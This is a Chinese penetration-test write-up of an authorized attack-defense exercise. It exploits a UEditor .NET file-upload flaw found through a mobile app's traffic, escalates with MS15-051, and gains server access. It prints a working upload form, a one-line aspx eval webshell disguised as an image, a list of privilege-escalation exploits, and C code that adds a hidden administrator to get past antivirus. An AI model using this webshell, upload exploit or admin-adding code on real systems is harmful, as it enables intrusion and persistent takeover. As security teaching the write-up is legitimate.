从App页面路径泄露到服务器沦陷

本文章仅供学习和研究使用,严禁使用该文章内容对互联网其他应用进行非法操作,若将其用于非法目的,所造成的后果由您自行承担,产生的一切风险与本文作者无关,如继续阅读该文章即表明您默认遵守该内容。

首发于奇安信攻防社区

0×01简述

对这段时间做的一次攻防演练做一个记录,这次给我们分了三个目标,一个目标是甲方单位自己的一个自建系统,其余两个是甲方的下级单位的系统。开始之前觉得不好做,因为攻防演练跟HW有些差别,HW可以不限制攻击手法,可以从上游供应链,社工、钓鱼多种角度出发来挖掘漏洞。这次攻防演练给我们三个目标、两个web系统、一个app,可以利用的点非常少,不可以攻击其他的系统,只能搞这几个目标,要不是这次运气好真的就拉垮了。

0×02开局一个登陆框

开局就是一个登陆框,开整

遇到登陆可以做的渗透路径大概就是

  • 爆破弱口令----爆破的传统思路都是固定账号爆破密码,还有一种姿势是固定密码爆破用户名。比如使用固定密码123456,爆破常用用户名或者常用人名拼音。
  • 扫目录-----目录扫描是一个存在惊喜的地方,说不定能扫描到后台未授权访问的链接、备份文件、编辑器、敏感信息等。
  • 框架漏洞-----如果能够发现网站使用的某种CMS,例如thinkphp就直接通过已有的漏洞来攻击
  • 源码查看-----右键查看JS源码,你可能会发现被注释的账号密码、接口、token、真实IP、开发环境等可以利用的信息。

使用ip138查询了这个域名的ip

放到fofa里面查到四个开放的端口

ip="192.168.1.1"

正常访问的端口只有两个,一个是443就是这个登陆框页面的端口,一个80端口是一个404页面

其他信息没啥收集的了,目标不能打偏所以就不看C段了

常规的开始扫一下目录吧

dog警告

用延时扫描目录

扫了一晚上啥也没扫到,还有一个80端口的404还没扫用dirsearch开扫

直接把IP给ban了

继续用延时扫描还是没扫出来东西。

放到云溪里面查一下能不能找到这个系统的框架

查了个寂寞

看一下源码js文件

空空如也

最后只剩下一招爆破弱口令 幸好没有验证码

由于网站部署的有安全狗 所以我们爆破的时候线程调低到线程1就好

返回登陆框随便输入一个账号密码,回显的是账号或密码有误,请重新输入! 所以我们无法通过输入回显来得到账号信息

只能用超级大字典来爆破了,

通过全国姓名拼音加账号top100加密码top1000没有爆破出来(最后才知道账号是手机号)

0×03山重水复疑无路

忽然想起来这个单位还有一个APP,立马下载APP放到mumu模拟器打开

登录页面跟web的不能说很像,简直就是一模一样

登陆框这里是没有办法下手了 看看其他的功能

burp和模拟器设置一下代理

打开burp点击app的一些页面,查看返回包的时候忽然发现了ueditor这简直绝了 为啥当时目录扫描没扫到。

山穷水复疑无路,柳暗花明又一村。

居然看见了ueditor编辑器。

漏洞描述

这个编辑器是百度开发的一款编辑器,目前已经不对其进行后续开发和更新,存在多个漏洞(文件上传,xss,ssrf)文件上传漏洞只存在于该编辑器的.net版本。其他的php,jsp,asp版本不受此UEditor的漏洞的影响,.net存在任意文件上传,绕过文件格式的限制,在获取远程资源的时候并没有对远程文件的格式进行严格的过滤与判断。

影响范围

该漏洞影响UEditor的.Net版本,其它语言版本暂时未受影响。

漏洞检测

我们可以看下XRAY的poc

name: poc-yaml-ueditor-cnvd-2017-20077-file-upload
rules:
  - method: GET
    path: /ueditor/net/controller.ashx?action=catchimage&encode=utf-8
    headers:
      Accept-Encoding: 'deflate'
    follow_redirects: false
    expression: |
      response.status == 200 && response.body.bcontains(bytes(string("没有指定抓取源")))
detail:
  author: 清风明月(www.secbook.info)
  influence_version: 'UEditor v1.4.3.3'
  links:
    - https://zhuanlan.zhihu.com/p/85265552
    - https://www.freebuf.com/vuls/181814.html
  exploit: >-
    http://localhost/ueditor/net/controller.ashx?action=catchimage&encode=utf-8

使用GET方式请求了路径/ueditor/net/controller.ashx?action=catchimage&encode=utf-8如果响应里面存在没有指定抓取源就证明存在漏洞。

拼接一下我们的网站尝试一下

www.xxx.com/ueditor/net/controller.ashx?action=catchimage&encode=utf-8

非常完美

漏洞利用

1、我们可以利用post方法直接上传文件到目标网站

Poc:

<form action="http://www.xxx.com/ueditor/net/controller.ashx?action=catchimage" enctype="multipart/form-data" method="POST">

 <p>shell addr: <input type="text" name="source[]" /></p>

 <input type="submit" value="Submit" />

</form>

在利用这个POC的时候,需要一个外网服务器,上传脚本文件,其中【shell addr】后填写的就是服务器上脚本的地址加上后缀(?.aspx)。

制作一个图片马放到外网服务器上面

copy 1.jpg/b +2.aspx 3.jpg

一句话脚本

<%@ Page Language="Jscript"%><%eval(Request.Item["zhanan"],"unsafe");%>

把脚本文件放到服务器上面

脚本地址:http://服务器地址/3.jpg

poc里面shell addr填 http://服务器地址/3.jpg?.aspx

然后点击submit上传

上传成功 并得到脚本路径

0×04提权
成功getshell之后 我们下一步就是提权了 使用whoami查看系统权限

iis apppool\47middleschool权限

使用 tasklist /svc查看系统有没有安装杀毒软件(可以看到安装了安全狗,之前扫目录的时候已经看到了)

使用systeminfo查看系统版本信息和补丁情况(服务器是2008R2版本)

补丁情况可以使用在线网站来查询

补丁查询网址

复制补丁然后粘贴到框里面就可以查看改系统可以使用的脚本了

我们是win2008系统 可以看到我们可以使用的脚本如下

windows2008 可用脚本:
KB3124280 : MS16-016
KB3134228 : MS16-014
KB3079904 : MS15-097
KB3077657 : MS15-077
KB3045171 : MS15-051
KB3000061 : MS14-058
KB2829361 : MS13-046
KB2850851 : MS13-053 EPATHOBJ 0day 限32位
KB2707511 : MS12-042 sysret -pid
KB2124261 : KB2271195 MS10-065 IIS7
KB970483 : MS09-020 IIS6

由于该系统在正常运行,所以我们不能影响系统的正常使用,这些提权脚本有的是溢出漏洞,可能会导致系统的崩溃或者蓝屏,所以我们需要在本地安装win2008系统来测试这些脚本的使用,是否可以正常使用。

在本地起一个win2008虚拟机系统并创建一个低权限的账号

查找我们可以使用的脚本来进行利用尝试

使用MS16-014下载使用

打开使用

宕机蓝屏

所以说我们盲目的去使用一些可能会导致系统崩溃的脚本来尝试正常的业务环境,如果导致客户的业务崩溃,可能会造成一些无法挽回的损失。

最后使用ms15-051提权成功。system权限

使用system权限添加管理员账号时被狗狗拦截了

最后请教了一些大佬,大佬们说可以使用Windows api函数添加管理员账户,去百度学习了一番

我们在渗透测试过程中需要添加管理员账号是通常是通过CMD调用net命令,然而一些杀软会限制CMD的一些命令,我们就可以使用windows自带的api函数来执行这些操作,从而绕过一些杀软的限制。(很老的方法了,很多的杀软都开始限制api的一些高危操作了)

代码原理:

使用NetUserAdd添加普通权限的用户,NetLocalGroupAddMembers添加管理员权限。

代码如下:

#ifndef UNICODE    
#define UNICODE    
#endif    
#include  <stdio.h>  
#include  <windows.h>  
#include  <lm.h>  
#include <iostream>
#pragma comment(lib,"netapi32")    
int Usage(wchar_t*);
int wmain(int argc, wchar_t* argv[])
{
    // 定义USER_INFO_1结构体
    USER_INFO_1 ui;
    DWORD dwError = 0;
    ui.usri1_name = L"test";            // 账户    
    ui.usri1_password = L"Test@qq.com";      // 密码
    ui.usri1_priv = USER_PRIV_USER;
    ui.usri1_home_dir = NULL;
    ui.usri1_comment = NULL;
    ui.usri1_flags = UF_SCRIPT;
    ui.usri1_script_path = NULL;
    //添加名为test的用户,密码为Test@qq.com    
    if (NetUserAdd(NULL, 1, (LPBYTE)&ui, &dwError) == NERR_Success)
    {
        std::cout << "[+]        Add Success!!!  \n";
        std::cout << "[+]        UserName:Bypass360  PassWord:Success@qq.com\n";
    }
    else
    {
        //添加失败    
        std::cout << "[+]        Add User Error!\n";
    }

    // 添加用户到administrators组
    LOCALGROUP_MEMBERS_INFO_3 account;
    account.lgrmi3_domainandname = ui.usri1_name;
    if (NetLocalGroupAddMembers(NULL, L"Administrators", 3, (LPBYTE)&account, 1) == NERR_Success)
    {
        //添加成功    
        std::cout << "[+]        Add to Administrators Success\n";
    }
    else
    {
        //添加失败    
        std::cout << "[+]        Add to Administrators Error!\n";
    }
    return 0;
}

可通过vs编译成exe文件

简单实验:在开启Defender和火绒的情况下没有拦截

可以看到system权限如果通过CMD添加账号会被火绒拦截

如果使用api添加账号并赋予超级管理员权限(可以看到结果火绒和windows防火墙没有进行拦截 成功添加超级管理员账号)

通过shell把我们的exe文件上传 并通过ms15-051的system权限来运行

但是废了这么大劲居然没有反应。

本地起一个环境来看一下是哪里出问题了,安装一个安全狗。

这是啥情况,我本地安全狗没有拦截啊,猜想可能是系统做了某种限制。此路不通。

最后拿到服务器是通过下载网站备份文件,然后翻网站配置文件找到了数据库密码。

盲猜一波这个密码就是服务器密码。成功登陆。(耐心和细心)

最后也是很幸运的完成了这次演练,也拿到了大量的敏感信息,相信甲方应该会满意吧。

0×05总结

其实有时候很多系统都是马奇诺防线这种看似很强,但是你只要找到一个点从而利用就轻而易举的绕过或者突破他,渗透测试过程中的细心的耐心也是必不可少的要素之一,最后希望朋友们可以对文章中的不足提出建议请多多指教!

posted @ 2023-01-30 10:39  知冰  阅读(176)  评论(0编辑  收藏  举报